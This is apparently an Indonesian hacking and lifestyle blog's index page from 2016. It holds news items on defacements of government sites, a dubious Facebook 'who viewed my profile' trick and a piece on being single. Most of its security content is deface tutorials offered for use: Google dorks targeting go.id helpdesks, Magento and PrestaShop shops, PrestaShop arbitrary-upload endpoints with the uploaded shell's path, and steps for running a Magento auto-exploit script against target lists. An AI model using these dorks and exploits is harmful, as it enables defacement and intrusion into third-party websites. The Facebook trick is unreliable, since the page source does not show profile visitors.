Kamis, 25 Agustus 2016

Mengetahui Siapa Yang Sering Melihat Profil Facebook Kita


Selama ini kita menggunakan sosial media Facebook sebagai alat untuk berrkomunikasi dengan teman, sahabat maupun keluarga. Facebook merupakan media sosial terbesar dengan jumlah penggunaa lebih dari 100 juta orang. Selain sebagai media berkomunikasi, Facebook juga dijadikan sebagai media untuk berpromosi dan mendapatkan penghasilan.

Kalian tentu telah mengenal Facebook dengan baik, setiap hari kamu bermain Facebook, baik sekedar mengupdate status, chating atau bermain games. Tetapi apakah kalian tahu siapa saja orang orang yang sering berkunjung atau membuka profil Facebook kita? Facebook tidak menyediakan fitur yang memungkinkan kita mengetahui para 'stalker' tersebut, berbeda halnya dengan media sosial jaman dulu seperti Friendster.

Oleh karena itu, saya ingin share kepada kalian bagaimana cara agar kita mengetahui siapa saja yang telah mengintip profil FB kita, mungkin saja salah satunya adalah mantan pacar kamu, gebetan atau justru bapak kamu yang mengintip profil FB kamu..??

Oke. Langsung Saja Kita Ke TKP
Berikut caranya adalah sebagai berikut :
1. Pertama login ke Facebook kamu kemudian buka profil (bukan beranda).

2. Di halaman profil, arahkan kursor ke sembarang tempat (bukan pada foto atau tulisan), setelah itu klik kanan dan pilih View Page Source atau tekan CTRL + U.


3. Pada halaman View Page Source silahkan ketik CTRL + F, kemudian ketik Friendslist dikotak Pencarian.




4. Disana ada digit angka seperti "100001931750xxx-2" atau "1000001223614xxx-0" sesudah kata list. Copy digit tersebut ke dalam URL Facebook. Misalnya : http//www.facebook.com/100001931750xxx tanpa diikuti -2 atau -0 lalu enter.

5. Maka akan muncul profil Facebook orang yang sering melihat profil kamu. Hahahaha mudah mudahan bukan profil FB bapak kamu.
Read more

Rabu, 24 Agustus 2016

Penyedia Jasa Pembuatan Skripsi Diretas


Mahasiswa mungkin tau dengan web yang satu ini yang menyediakan jasa pembuatan skripsi untuk mahasiswa yang sedang kesusahan dalam membuat skripsi.

Namun, sekarang website tersebut di retas oleh hacker indonesia dengan nickname "Dedsec".

Di group deface indonesia, hacker tersebut menunjukkan bahwa dia telah berhasil meretas situs web lulusskripsi dan ia juga menyampakain permintaan maaf kepada mahasiswa yang sedang menggunakan jasa pembuatan skripsi dari situs tersebut.



Read more

Senin, 22 Agustus 2016

Retas Situs DPRD Kabupaten Pacitan Defacer Kritik Kinerja Pemerintah

Lagi lagi kasus peretasan website pemerintah. Baru saja situs DPRD Kabupaten Pacitan diretas defaer dengan kodenama Yukinoshita 47. Selain mengubah halaman depan situs, defacer tersebut juga mengkritik habis habisan pemerintah yang dinilai "makan gaji buta".

Selain meng-kritik oknum oknum pemerintah, sang defacer juga memberi saran mengenai keamanan situs yang dia retas seperti saran utnuk segera update CMS dll.
Berikut pesan yang saya kutip dari tampilan deface nya :
Tolong Pak Copot dan Pecat aja semua
Oknum-Oknum PNS dan Pejabat Instansi Pemerintah Terutama Dinas PU dan Dinas Lain yang sering ngadakan tender proyek pemerintah
Kagak Asik Banget Pak Gaji Udah Gede 
Kami Sebagai Kontraktor dan Konsultan Jasa Konstruksi
Capek-Capek Kerja yang nikmati Hasil nya
oknum-oknum PNS, Kuasa Pengguna Anggaran, Pejabat Pembuat Komitmen, Kepala Dinas dan Pihak-Pihak Terkait
Enak Bener ya Jadi PNS dan Kerja Di Instansi Pemerintah yang sering ngadakan Tender Proyek APBD dan APBN 
Kami Sebagai Kontraktor kalo mau dapat proyek harus setor duit dulu 20% dari HPS Proyek nya
Belum Lagi Kami Harus bayarin kedai kopi, bayarin pelacur nya (dia yang ngecroot kami yang bayar enak bener kan), bayarin duit buat entertainment nya dan duit-duit lainnya
Kenapa Aspal Sering Bolong, Bangunan dan Infrastuktur sering kropos ?
Ya iyalah coeg duit yang seharus nya udah modal kerja kami
udah habis buat isi kantong oknum-oknum instansi pemerintah
belum lagi konsultan pengawasan nya nodong kami kalo kagak setor duit ya kami yang habis kena bacod dan bully massal :v wkwkwk
Wajar dong kami sering beli bahan-bahan yang kualitas nya jelek buat nekan biaya biar kerjaan selesai
Udah itu aja pak tolong ya pak copot aja oknum-oknum yang melakukan korupsi berjamaah itu 
di Instansi nya saya melakukan ini hanya iseng sambil menceritakan semua kenyataan dilapangan
biar situs anda tidak ada lagi yang meretas nya gampang pak update CMS ke versi baru,install Honeypot dan aktifkan Web Application Firewall

Sampai berita ini diturunkan , situs DPRD Kabupaten Pacitan juga masih dalam keadaan diretas.
Namun kalian juga bisa melihat mirror nya disini :

Sekian berita pagi hari ini, selamat beraktivitas. (jack/lsc)
Read more

Subdomain Departemen Kesehatan Diretas Defacer Tersakiti

Kali ini kembali LinuxSec mengulas kasus peretasan situs pemerintahan Indonesia. Defacer dengan kodenama Abrasax1337 dari tim Defacer Tersakiti Team meretas subdomain depkes.go.id, tepatnya di bagian Direktorat Jenderal Pencegahan dan Pengendalian Penyakit.

Tampilan depan situs yang beralamat di http://www.pppl.depkes.go.id/ tersebut berubah menjadi berwarna hitam dengan title Hacked by Abrasax1337
Tidak ada pesan khusus kecuali tulisan 
Hello admin, ur s1te g0t pwned!
Menandakan motif dari peretasan tersebut kemungkinan hanya iseng saja.
Sampai berita ini diturunkan belum ada perbaikan dari website yang bersangkutan. Dan tentu saja semakin menambah daftar situs Pemerintah yang dibobol defacer dalam kurun 2016 ini.
Ya semoga saja situs tersebut segera diperbaiki mengingat situs Departemen Kesehatan sendiri merupakan situs penting yang tentunya banyak informasi di dalamnya. (jack/lsc)
Read more

Minggu, 21 Agustus 2016

Tutorial Deface Menggunakan Open News Ticket



assalamualaikum .. ketemu lagi deh sama ane DiffMuRis :V

langsung aja ya tutorial deface menggunakan Open Ticket News :o

dork : inurl:helpdesk intext:choose files here site:go.id

intext:choose files here site:go.id site bisa di gonta ganti kreasikan sendiri yaa :D

inurl:"/helpdesk/new_ticket.php?"site bisa di gonta ganti kreasikan sendiri yaa :D

intext:Helpdesk site:go.id site bisa di gonta ganti kreasikan sendiri yaa :D



Read more

Sabtu, 20 Agustus 2016

Tutorial Deface Menggunakan PrestaShop - Responsive Prestashop 1.6 Arbitrary File Upload



Dork :  


inurl:"/modules/columnadverts/"


inurl:"/modules/homepageadvertise/"


inurl:"/modules/productpageadverts/"


inurl:"/modules/simpleslideshow/"


inurl:"/modules/homepageadvertise2/"


inurl:"/modules/vtemslideshow/"



Gak VULN ? cari target lain lah :v dork nya kembanginnn ... bisa tambah in site:

Exploit :

/modules/columnadverts/uploadimage.php



/modules/homepageadvertise/uploadimage.php



/modules/productpageadverts/uploadimage.php



/modules/simpleslideshow/uploadimage.php



/modules/homepageadvertise2/uploadimage.php



/modules/vtemslideshow/uploadimage.php


csrf exploiter pretashop = http://m2d.asia/csrfpretashop/

ciri ciri vuln ada tulisan error kalo User Not Login engga vuln :D

akses shellnya = targetlu/modules/namapretashopnya/slides/namashellu.php
























Read more

Jumat, 19 Agustus 2016

Lebih Baik Jomblo Tau-Tau Nikah Daripada Pacaran Gak Nikah-Nikah, Setuju?

Selamat Datang Wahai Para Jones



Jomblo itu tidak enak tapi tidak enaknya cuma kadang-kadang, tidak enaknya pas lagi diledikin sama temen-teman dan ketika malam minggu karena semua yang punya pasangan pada keluar buat kencan, selebihnya semuanya nyama-nyaman aja menjadi jomblo.

Kalaupun boleh diberi pilihan, kamu pasti memilih untuk lama menjomblo tidak terdengar pacaran tapi langsung nikah. Daripada pacaran tapi tak juga nikah-nikah.
 
Dengar Kabar Temenmu Yang Jomblo Mau Nikah Kamu Pasti Kagetkan? Tapi Denger Kabar Temanmu Yang Gak Jomblo Mau Nikah Pasti Biasa-Biasa

Kamu pasti tidak akan kaget kalau dengar kabar temenmu yang tidak jomblo nyebar undangan. Tapi kamu pasti akan kaget begitu dengar kabar atau dapat undangat dari temenmu yang gak jomblo mau nikah?
 
Buat Kamu Yang Udah Punya Pasangan Jangan Sibuk Nanyain Kapan Punya Pasangan Sama Si Jomblo

Kamu gak tau kalau nantinya kamu bakalan didului sama si jomblo untuk nikah duluan. Karenanya jangan ikut-ikutan kepoin si jomblo kapan mau punya gebetan atau menyebut mereka tidak laku. Entar giliran dia ‘laku’ nemu pasangan dia akan duluan ke pelaminan.
 
Dan Jangan Terlalu Bangga Pamer-Pamer Bahagianya Punya Pasangan di Hadapan Mereka Yang Jomblo Karena Memang Bikin Iri

Saat kamu pamer punya pasangan itu enak, jomblo itu memang merasa iri tapi kadang-kadang tidak selalu. Mereka tidak akan iri sama kamu ketika kamu ribet harus bertengkar dulu sama pacarmu hanya karen ingin main atau kumpul sama teman-temanmu.
 
Bukankah Antara Jomblo Sama Yang Sudah Punya Pasangan Itu Memiliki Kesamaan?

Ada kesamaan antara kamu yang sudah punya pasangan sama mereka yang masih jomblo. Kesamaannya sama-sama masih belum menikah, dia yang saat ini sama kamu juga belum tentu bakalan jadi jodohmu, bisa saja pacarmu yang sekarang jodohnya temenmu yang sekarang sedang jomblo.
 
Bukankah Lebih Baik Jomblo Tau-Tau Nikah Daripada Pacaran Gak Nikah-Nikah

Bukankah lebih baik sendiri aja dulu kalau memang tidak mau cepat-cepat menikah? daripada membuang-buang waktu pacaran kesana kemari, iya kalau ujung-ujungnya jadi jodoh kalau pada akhirnya putus? ngenes juga akhirnya, malah bakalan lebih ngenes dari yang sekarang ini dirasakan oleh para jomblo.






sumber: http://duapah.com/



 




Read more

Tutorial Deface Menggunakan Auto Exploit Magento 2016



Halo gengs dimalam minggu ini gw mau share tutorial deface website dengan auto exploit magento
gak usah banyak bacot langsung saja ke initinya
1. download terlebih dahulu soft/apps xampp
DOWNLOAD DISINI
2. download script auto xploit magentonya dibawah ini
DISINI
lalu simpan difolder c:/xampp/php dengan format .php
3. cari target dorking digoogle
dork:
- intext:/skin/adminhtml/default/default/
- intitle:computer inurl:account/login/ site:.com
- intitle:computer inurl:account/login/create/ site:.com
- intext:"2016" inurl:account/login site:.com
- "shirt" inurl:customer/account/login/ site:.com
- "jeans" inurl:account/login site:.com
- intitle:shop inurl:account/login/create site:.com
- intext:2016 inurl:customer/account/ site:.com- intext:magento inurl:/account/login site:.uk kembangkan lagi sendiri site bisa gonta ganti

4. buka notepad copas link /url target di notepad
5. jika sudah simpan difolder c:/xampp/php dengan format .txt
6. langsung kita eksekusi

  • buka cmd
  • ketik cd c:/xampp/php
  • ketik lagi php "nama script".php "nama daftar target dinotepad yg disimpan td".txt
  • contoh: php magento.php site.txt lalu enter
lebih jelasnya bisa lihat videonya

terima kasih atas kunjungan andaaaaa....

Read more